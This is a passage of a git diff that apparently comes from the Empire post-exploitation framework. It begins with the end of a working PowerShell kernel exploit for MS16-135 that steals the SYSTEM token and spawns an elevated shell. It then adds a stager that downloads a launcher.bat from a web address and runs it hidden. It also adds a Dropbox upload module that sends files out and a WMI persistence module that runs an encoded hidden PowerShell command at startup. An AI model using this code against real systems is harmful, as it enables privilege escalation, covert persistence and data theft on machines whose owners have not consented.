|
||||
Write-Verbose "[+] Child PID is : $("{0}" -f $ProcessInfo.dwProcessId)`n"
|
||||
|
||||
Write-Verbose "`n[>] Leaking current _EPROCESS.."
|
||||
Write-Verbose "[+] Traversing ActiveProcessLinks list"
|
||||
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
|
||||
while($true) {
|
||||
$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
|
||||
if ($NextPID -eq $ProcessInfo.dwProcessId) {
|
||||
Write-Verbose "[+] PowerShell _EPROCESS address: 0x$("{0:X}" -f $NextProcess)"
|
||||
Write-Verbose "[+] PID: $NextPID"
|
||||
Write-Verbose "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
|
||||
$PoShTokenAddr = $NextProcess+$TokenOffset
|
||||
break
|
||||
}
|
||||
$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
|
||||
}
|
||||
|
||||
Write-Verbose "`n[!] Duplicating SYSTEM token!`n"
|
||||
|
||||
Bitmap-Write -Address $PoShTokenAddr -Value $SysToken
|
||||
|
||||
"`n[!] Success, spawning a system shell!"
|
||||
|
||||
Write-Verbose "[!] Sending command to the elevated child"
|
||||
$pipeWriter.WriteLine($Command)
|
||||
$npipeServer.Dispose()
|
||||
|
||||
}
|
||||
|
||||
function Sim-KeyDown {
|
||||
param([Int]$wKey)
|
||||
$KeyboardInput = New-Object KEYBDINPUT
|
||||
$KeyboardInput.dwFlags = 0
|
||||
$KeyboardInput.wVk = $wKey
|
||||
|
||||
$InputObject = New-Object INPUT
|
||||
$InputObject.itype = 1
|
||||
$InputObject.U = $KeyboardInput
|
||||
$InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)
|
||||
|
||||
$CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)
|
||||
if ($CallResult -eq 1) {
|
||||
$true
|
||||
} else {
|
||||
$false
|
||||
}
|
||||
}
|
||||
|
||||
function Sim-KeyUp {
|
||||
param([Int]$wKey)
|
||||
$KeyboardInput = New-Object KEYBDINPUT
|
||||
$KeyboardInput.dwFlags = 2
|
||||
$KeyboardInput.wVk = $wKey
|
||||
|
||||
$InputObject = New-Object INPUT
|
||||
$InputObject.itype = 1
|
||||
$InputObject.U = $KeyboardInput
|
||||
$InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)
|
||||
|
||||
$CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)
|
||||
if ($CallResult -eq 1) {
|
||||
$true
|
||||
} else {
|
||||
$false
|
||||
}
|
||||
}
|
||||
|
||||
function Do-AltShiftEsc {
|
||||
$CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU
|
||||
$CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT
|
||||
$CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE
|
||||
$CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE
|
||||
$CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE
|
||||
$CallResult = Sim-KeyUp -wKey 0x1b # VK_ESCAPE
|
||||
$CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU
|
||||
$CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT
|
||||
}
|
||||
|
||||
function Do-AltShiftTab {
|
||||
param([Int]$Count)
|
||||
$CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU
|
||||
$CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT
|
||||
for ($i=0;$i -lt $count;$i++) {
|
||||
$CallResult = Sim-KeyDown -wKey 0x9 # VK_TAB
|
||||
$CallResult = Sim-KeyUp -wKey 0x9 # VK_TAB
|
||||
}
|
||||
$CallResult = Sim-KeyUp -wKey 0x12 # VK_MENU
|
||||
$CallResult = Sim-KeyUp -wKey 0x10 # VK_SHIFT
|
||||
}
|
||||
|
||||
do {
|
||||
$Bitmap1 = Stage-gSharedInfoBitmap
|
||||
$Bitmap2 = Stage-gSharedInfoBitmap
|
||||
if ($Bitmap1.BitmapKernelObj -lt $Bitmap2.BitmapKernelObj) {
|
||||
$WorkerBitmap = $Bitmap1
|
||||
$ManagerBitmap = $Bitmap2
|
||||
} else {
|
||||
$WorkerBitmap = $Bitmap2
|
||||
$ManagerBitmap = $Bitmap1
|
||||
}
|
||||
$Distance = $ManagerBitmap.BitmapKernelObj - $WorkerBitmap.BitmapKernelObj
|
||||
} while ($Distance -ne 0x2000)
|
||||
|
||||
Write-Verbose "[?] Adjacent large session pool feng shui.."
|
||||
Write-Verbose "[+] Worker : $('{0:X}' -f $WorkerBitmap.BitmapKernelObj)"
|
||||
Write-Verbose "[+] Manager : $('{0:X}' -f $ManagerBitmap.BitmapKernelObj)"
|
||||
Write-Verbose "[+] Distance: 0x$('{0:X}' -f $Distance)"
|
||||
|
||||
$TargetAddress = $WorkerBitmap.BitmapKernelObj + 63
|
||||
|
||||
function Do-OrAddress {
|
||||
param([Int64]$Address)
|
||||
|
||||
$AtomCreate = New-Object ms16135
|
||||
$hAtom = $AtomCreate.CustomClass("cve-2016-7255")
|
||||
if ($hAtom -eq 0){
|
||||
break
|
||||
}
|
||||
|
||||
Write-Verbose "`n[?] Creating Window objects"
|
||||
$hMod = [ms16135]::GetModuleHandleW([String]::Empty)
|
||||
$hWndParent = [ms16135]::CreateWindowExW(0,"cve-2016-7255",[String]::Empty,0x10CF0000,0,0,360,360,[IntPtr]::Zero,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)
|
||||
if ($hWndParent -eq 0){
|
||||
break
|
||||
}
|
||||
|
||||
$hWndChild = [ms16135]::CreateWindowExW(0,"cve-2016-7255","cve-2016-7255",0x50CF0000,0,0,160,160,$hWndParent,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)
|
||||
if ($hWndChild -eq 0){
|
||||
break
|
||||
}
|
||||
|
||||
$Address = $Address - 0x28
|
||||
|
||||
Write-Verbose "[+] Corrupting child window spmenu"
|
||||
$CallResult = [ms16135]::SetWindowLongPtr($hWndChild,-12,[IntPtr]$Address)
|
||||
|
||||
$CallResult = [ms16135]::ShowWindow($hWndParent,1)
|
||||
$hDesktopWindow = [ms16135]::GetDesktopWindow()
|
||||
$CallResult = [ms16135]::SetParent($hWndChild,$hDesktopWindow)
|
||||
$CallResult = [ms16135]::SetForegroundWindow($hWndChild)
|
||||
|
||||
Do-AltShiftTab -Count 4
|
||||
|
||||
$CallResult = [ms16135]::SwitchToThisWindow($hWndChild,$true)
|
||||
|
||||
Do-AltShiftEsc
|
||||
|
||||
function Trigger-Write {
|
||||
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
||||
while ($SafeGuard.ElapsedMilliseconds -lt 3000) {
|
||||
$tagMSG = New-Object tagMSG
|
||||
if ($([ms16135]::GetMessage([ref]$tagMSG,[IntPtr]::Zero,0,0))) {
|
||||
$CallResult = [ms16135]::SetFocus($hWndParent) #
|
||||
for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} #
|
||||
$CallResult = [ms16135]::SetFocus($hWndChild) # Bug triggers here!
|
||||
for ($i=0;$i-lt20;$i++){Do-AltShiftEsc} #
|
||||
$CallResult = [ms16135]::TranslateMessage([ref]$tagMSG)
|
||||
$CallResult = [ms16135]::DispatchMessage([ref]$tagMSG)
|
||||
}
|
||||
} $SafeGuard.Stop()
|
||||
}
|
||||
[IntPtr]$Global:BytePointer = [ms16135]::VirtualAlloc([System.IntPtr]::Zero, 0x2000, 0x3000, 0x40)
|
||||
do {
|
||||
Write-Verbose "[+] Trying to trigger arbitrary 'Or'.."
|
||||
$ByteRead = [ms16135]::GetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)
|
||||
Trigger-Write
|
||||
$LoopCount += 1
|
||||
} while ($ByteRead -ne 0x2000 -And $LoopCount -lt 10)
|
||||
|
||||
$CallResult = [ms16135]::DestroyWindow($hWndChild)
|
||||
$CallResult = [ms16135]::DestroyWindow($hWndParent)
|
||||
$CallResult = [ms16135]::UnregisterClass("cve-2016-7255",[IntPtr]::Zero)
|
||||
|
||||
if ($LoopCount -eq 10) {
|
||||
"`n[!] Bug did not trigger, try again or patched?`n"
|
||||
$Script:BugNotTriggered = 1
|
||||
}
|
||||
}
|
||||
|
||||
Do-OrAddress -Address $TargetAddress
|
||||
if ($BugNotTriggered) {
|
||||
Return
|
||||
}
|
||||
|
||||
if ($OSMajorMinor -eq "6.1") {
|
||||
$SizeVal = 0x400000770
|
||||
} else {
|
||||
$SizeVal = 0x400000760
|
||||
}
|
||||
do {
|
||||
$Read64 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount)
|
||||
if ($Read64 -eq $SizeVal) {
|
||||
$Pointer1 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 16)
|
||||
$Pointer2 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 24)
|
||||
if ($Pointer1 -eq $Pointer2) {
|
||||
$BufferOffset = $LoopCount + 16
|
||||
Break
|
||||
}
|
||||
}
|
||||
$LoopCount += 8
|
||||
} while ($LoopCount -lt 0x2000)
|
||||
$pvBits = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset)
|
||||
$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)
|
||||
|
||||
if ($pvScan0 -ne 0) {
|
||||
Write-Verbose "`n[?] Success, reading beyond worker bitmap size!"
|
||||
Write-Verbose "[+] Old manager bitmap pvScan0: $('{0:X}' -f $pvScan0)"
|
||||
} else {
|
||||
"`n[!] Buffer contains invalid data, quitting..`n"
|
||||
Return
|
||||
}
|
||||
|
||||
[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset),$WorkerBitmap.BitmappvScan0)
|
||||
[System.Runtime.InteropServices.Marshal]::WriteInt64($($BytePointer.ToInt64() + $BufferOffset + 8),$WorkerBitmap.BitmappvScan0)
|
||||
$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)
|
||||
Write-Verbose "[+] New manager bitmap pvScan0: $('{0:X}' -f $pvScan0)"
|
||||
|
||||
$CallResult = [ms16135]::SetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)
|
||||
|
||||
Bitmap-Elevate -ManagerBitmap $ManagerBitmap.BitmapHandle -WorkerBitmap $WorkerBitmap.BitmapHandle
|
||||
}
|
File diff suppressed because it is too large
Load Diff
8
empire
8
empire
|
@ -850,8 +850,9 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
|||
|
||||
for result in agentResults:
|
||||
[resultid, agent, data] = result
|
||||
agentTaskResults.append({"taskID":result[0], "agentname":result[1], "results":result[2]})
|
||||
|
||||
agentTaskResults.append({"taskID": result[0], "agentname": result[1], "results": result[2]})
|
||||
|
||||
return jsonify({'results': agentTaskResults})
|
||||
|
||||
|
||||
|
@ -940,10 +941,9 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
|||
# add task command to agent taskings
|
||||
msg = "tasked agent %s to run command %s" %(agentSessionID, command)
|
||||
main.agents.save_agent_log(agentSessionID, msg)
|
||||
main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command)
|
||||
|
||||
return jsonify({'success': True})
|
||||
taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command)
|
||||
|
||||
return jsonify({'success': True, 'taskID': taskID})
|
||||
|
||||
@app.route('/api/agents/<string:agent_name>/rename', methods=['POST'])
|
||||
def task_agent_rename(agent_name):
|
||||
|
|
|
@ -1041,14 +1041,14 @@ class Agents:
|
|||
if pk is None:
|
||||
pk = 0
|
||||
pk = (pk + 1) % 65536
|
||||
taskID = cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]).lastrowid
|
||||
cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]])
|
||||
|
||||
# append our new json-ified task and update the backend
|
||||
agent_tasks.append([taskName, task, taskID])
|
||||
agent_tasks.append([taskName, task, pk])
|
||||
cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID])
|
||||
|
||||
# report the agent tasking in the reporting database
|
||||
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), taskID))
|
||||
cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk))
|
||||
|
||||
cur.close()
|
||||
|
||||
|
@ -1058,7 +1058,7 @@ class Agents:
|
|||
f.write(task)
|
||||
f.close()
|
||||
|
||||
return taskID
|
||||
return pk
|
||||
|
||||
finally:
|
||||
self.lock.release()
|
||||
|
|
|
@ -75,6 +75,14 @@ class Stagers:
|
|||
if stagerOption == option:
|
||||
stager.options[option]['Value'] = str(value)
|
||||
|
||||
def generate_launcher_fetcher(self, language=None, encode=True, webFile='http://127.0.0.1/launcher.bat', launcher='powershell -noP -sta -w 1 -enc '):
|
||||
#TODO add handle for other than powershell language
|
||||
stager = 'wget "' + webFile + '" -outfile "launcher.bat"; Start-Process -FilePath .\launcher.bat -Wait -passthru -WindowStyle Hidden;'
|
||||
if encode:
|
||||
return helpers.powershell_launcher(stager, launcher)
|
||||
else:
|
||||
return stager
|
||||
|
||||
|
||||
def generate_launcher(self, listenerName, language=None, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'):
|
||||
"""
|
||||
|
@ -450,4 +458,4 @@ class Stagers:
|
|||
jarfile.close()
|
||||
os.remove('Run.jar')
|
||||
|
||||
return jar
|
||||
return jar
|
||||
|
|
|
@ -839,8 +839,8 @@ def send_message(packets=None):
|
|||
certPath = listenerOptions['CertPath']['Value']
|
||||
host = listenerOptions['Host']['Value']
|
||||
if certPath.strip() != '' and host.startswith('https'):
|
||||
context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath))
|
||||
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
|
||||
certPath = os.path.abspath(certPath)
|
||||
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=(certPath,certPath))
|
||||
else:
|
||||
app.run(host=bindIP, port=int(port), threaded=True)
|
||||
|
||||
|
@ -881,4 +881,4 @@ def send_message(packets=None):
|
|||
self.threads[name].kill()
|
||||
else:
|
||||
print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
|
||||
self.threads[self.options['Name']['Value']].kill()
|
||||
self.threads[self.options['Name']['Value']].kill()
|
||||
|
|
|
@ -0,0 +1,141 @@
|
|||
from lib.common import helpers
|
||||
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# Metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# Name for the module that will appear in module menus
|
||||
'Name': 'Invoke-DropboxUpload',
|
||||
|
||||
# List of one or more authors for the module
|
||||
'Author': ['kdick@tevora.com','Laurent Kempe'],
|
||||
|
||||
# More verbose multi-line description of the module
|
||||
'Description': ('Upload a file to dropbox '),
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background': False,
|
||||
|
||||
# File extension to save the file as
|
||||
'OutputExtension': None,
|
||||
|
||||
# True if the module needs admin rights to run
|
||||
'NeedsAdmin': False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe': True,
|
||||
|
||||
# The language for this module
|
||||
'Language': 'powershell',
|
||||
|
||||
# The minimum PowerShell version needed for the module to run
|
||||
'MinLanguageVersion': '2',
|
||||
|
||||
# List of any references/other comments
|
||||
'Comments': [
|
||||
'Uploads specified file to dropbox ',
|
||||
'Ported to powershell2 from script by Laurent Kempe: http://laurentkempe.com/2016/04/07/Upload-files-to-DropBox-from-PowerShell/',
|
||||
'Use forward slashes for the TargetFilePath'
|
||||
]
|
||||
}
|
||||
|
||||
# Any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# Format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent': {
|
||||
# The 'Agent' option is the only one that MUST be in a module
|
||||
'Description': 'Agent to use',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SourceFilePath': {
|
||||
'Description': '/path/to/file',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'TargetFilePath': {
|
||||
'Description': '/path/to/dropbox/file',
|
||||
'Required': True,
|
||||
'Value': ''
|
||||
},
|
||||
'ApiKey': {
|
||||
'Description': 'Your dropbox api key',
|
||||
'Required': True,
|
||||
'Value': ''
|
||||
}
|
||||
}
|
||||
|
||||
# Save off a copy of the mainMenu object to access external
|
||||
# functionality like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
# During instantiation, any settable option parameters are passed as
|
||||
# an object set to the module and the options dictionary is
|
||||
# automatically set. This is mostly in case options are passed on
|
||||
# the command line.
|
||||
if params:
|
||||
for param in params:
|
||||
# Parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
|
||||
script = """
|
||||
function Invoke-DropboxUpload {
|
||||
Param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$SourceFilePath,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$TargetFilePath,
|
||||
[Parameter(mandatory=$true)]
|
||||
[string]$ApiKey
|
||||
)
|
||||
|
||||
$url = "https://content.dropboxapi.com/2/files/upload"
|
||||
|
||||
$file = [IO.File]::ReadAllBytes($SourceFilePath)
|
||||
[net.httpWebRequest] $req = [net.webRequest]::create($url)
|
||||
|
||||
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||
$authorization = "Bearer " + $ApiKey
|
||||
|
||||
$req.method = "POST"
|
||||
$req.Headers.Add("Authorization", $authorization)
|
||||
$req.Headers.Add("Dropbox-API-Arg", $arg)
|
||||
$req.ContentType = 'application/octet-stream'
|
||||
$req.ContentLength = $file.length
|
||||
$req.TimeOut = 50000
|
||||
$req.KeepAlive = $true
|
||||
$req.Headers.Add("Keep-Alive: 300");
|
||||
$reqst = $req.getRequestStream()
|
||||
$reqst.write($file, 0, $file.length)
|
||||
$reqst.flush()
|
||||
$reqst.close()
|
||||
|
||||
[net.httpWebResponse] $res = $req.getResponse()
|
||||
$resst = $res.getResponseStream()
|
||||
$sr = new-object IO.StreamReader($resst)
|
||||
$result = $sr.ReadToEnd()
|
||||
$result
|
||||
$res.close()
|
||||
}
|
||||
|
||||
Invoke-DropboxUpload """
|
||||
|
||||
# Add any arguments to the end execution of the script
|
||||
for option, values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
return script
|
|
@ -0,0 +1,201 @@
|
|||
import os
|
||||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-WMI',
|
||||
|
||||
'Author': ['@mattifestation', '@harmj0y', '@tristandostaler'],
|
||||
|
||||
'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'),
|
||||
|
||||
'Background' : False,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : True,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
'Language' : 'powershell',
|
||||
|
||||
'MinLanguageVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Launcher' : {
|
||||
'Description' : 'Launcher string.',
|
||||
'Required' : True,
|
||||
'Value' : 'powershell -noP -sta -w 1 -enc '
|
||||
},
|
||||
#'Listener' : {
|
||||
# 'Description' : 'Listener to use.',
|
||||
# 'Required' : False,
|
||||
# 'Value' : ''
|
||||
#},
|
||||
'DailyTime' : {
|
||||
'Description' : 'Daily time to trigger the script (HH:mm).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'AtStartup' : {
|
||||
'Description' : 'Switch. Trigger script (within 5 minutes) of system startup.',
|
||||
'Required' : False,
|
||||
'Value' : 'True'
|
||||
},
|
||||
'SubName' : {
|
||||
'Description' : 'Name to use for the event subscription.',
|
||||
'Required' : True,
|
||||
'Value' : 'AutoUpdater'
|
||||
},
|
||||
'ExtFile' : {
|
||||
'Description' : 'Use an external file for the payload instead of a stager.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Cleanup' : {
|
||||
'Description' : 'Switch. Cleanup the trigger and any script from specified location.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'WebFile' : {
|
||||
'Description' : 'The location of the launcher.bat file to fetch over the network/web',
|
||||
'Required' : True,
|
||||
'Value' : 'http://127.0.0.1/launcher.bat'
|
||||
}
|
||||
#'UserAgent' : {
|
||||
# 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
# 'Required' : False,
|
||||
# 'Value' : 'default'
|
||||
#},
|
||||
#'Proxy' : {
|
||||
# 'Description' : 'Proxy to use for request (default, none, or other).',
|
||||
# 'Required' : False,
|
||||
# 'Value' : 'default'
|
||||
#},
|
||||
#'ProxyCreds' : {
|
||||
# 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||
# 'Required' : False,
|
||||
# 'Value' : 'default'
|
||||
#}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
#listenerName = self.options['Listener']['Value']
|
||||
launcher_prefix = self.options['Launcher']['Value']
|
||||
|
||||
# trigger options
|
||||
dailyTime = self.options['DailyTime']['Value']
|
||||
atStartup = self.options['AtStartup']['Value']
|
||||
subName = self.options['SubName']['Value']
|
||||
|
||||
# management options
|
||||
extFile = self.options['ExtFile']['Value']
|
||||
cleanup = self.options['Cleanup']['Value']
|
||||
webFile = self.options['WebFile']['Value']
|
||||
# staging options
|
||||
#userAgent = self.options['UserAgent']['Value']
|
||||
#proxy = self.options['Proxy']['Value']
|
||||
#proxyCreds = self.options['ProxyCreds']['Value']
|
||||
|
||||
statusMsg = ""
|
||||
locationString = ""
|
||||
|
||||
if cleanup.lower() == 'true':
|
||||
# commands to remove the WMI filter and subscription
|
||||
script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;"
|
||||
script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;"
|
||||
script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
|
||||
script += "'WMI persistence removed.'"
|
||||
|
||||
return script
|
||||
|
||||
if extFile != '':
|
||||
# read in an external file as the payload and build a
|
||||
# base64 encoded version as encScript
|
||||
if os.path.exists(extFile):
|
||||
f = open(extFile, 'r')
|
||||
fileData = f.read()
|
||||
f.close()
|
||||
|
||||
# unicode-base64 encode the script for -enc launching
|
||||
encScript = helpers.enc_powershell(fileData)
|
||||
statusMsg += "using external file " + extFile
|
||||
|
||||
else:
|
||||
print helpers.color("[!] File does not exist: " + extFile)
|
||||
return ""
|
||||
|
||||
else:
|
||||
# generate the PowerShell one-liner with all of the proper options set
|
||||
launcher = self.mainMenu.stagers.generate_launcher_fetcher(language='powershell', encode=True, webFile=webFile, launcher=launcher_prefix)
|
||||
|
||||
encScript = launcher.split(" ")[-1]
|
||||
statusMsg += "using launcher_fetcher"
|
||||
|
||||
# sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
|
||||
if len(encScript) > 8190:
|
||||
print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
|
||||
return ""
|
||||
|
||||
# built the command that will be triggered
|
||||
triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript
|
||||
|
||||
if dailyTime != '':
|
||||
|
||||
parts = dailyTime.split(":")
|
||||
|
||||
if len(parts) < 2:
|
||||
print helpers.color("[!] Please use HH:mm format for DailyTime")
|
||||
return ""
|
||||
|
||||
hour = parts[0]
|
||||
minutes = parts[1]
|
||||
|
||||
# create the WMI event filter for a system time
|
||||
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
|
||||
statusMsg += " WMI subscription daily trigger at " + dailyTime + "."
|
||||
|
||||
else:
|
||||
# create the WMI event filter for OnStartup
|
||||
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
|
||||
statusMsg += " with OnStartup WMI subsubscription trigger."
|
||||
|
||||
|
||||
# add in the event consumer to launch the encrypted script contents
|
||||
script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"
|
||||
|
||||
# bind the filter and event consumer together
|
||||
script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"
|
||||
|
||||
|
||||
script += "'WMI persistence established "+statusMsg+"'"
|
||||
|
||||
return script
|
|
@ -0,0 +1,105 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-MS16135',
|
||||
|
||||
'Author': ['@TinySecEx', '@FuzzySec', 'ThePirateWhoSmellsOfSunflowers (github)'],
|
||||
|
||||
'Description': ('Spawns a new Listener as SYSTEM by'
|
||||
' leveraging the MS16-135 local exploit. This exploit is for x64 only'
|
||||
' and only works on unlocked session.'
|
||||
' Note: the exploit performs fast windows switching, victim\'s desktop'
|
||||
' may flash. A named pipe is also created.'
|
||||
' Thus, opsec is not guaranteed'),
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
'Language' : 'powershell',
|
||||
|
||||
'MinLanguageVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'Credit to TinySec (@TinySecEx) for the initial PoC and',
|
||||
'to Ruben Boonen (@FuzzySec) for PowerShell PoC',
|
||||
'https://github.com/tinysec/public/tree/master/CVE-2016-7255',
|
||||
'https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135',
|
||||
'https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html'
|
||||
]
|
||||
}
|
||||
|
||||
self.options = {
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to use.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'Proxy' : {
|
||||
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'ProxyCreds' : {
|
||||
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
}
|
||||
}
|
||||
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
if params:
|
||||
for param in params:
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
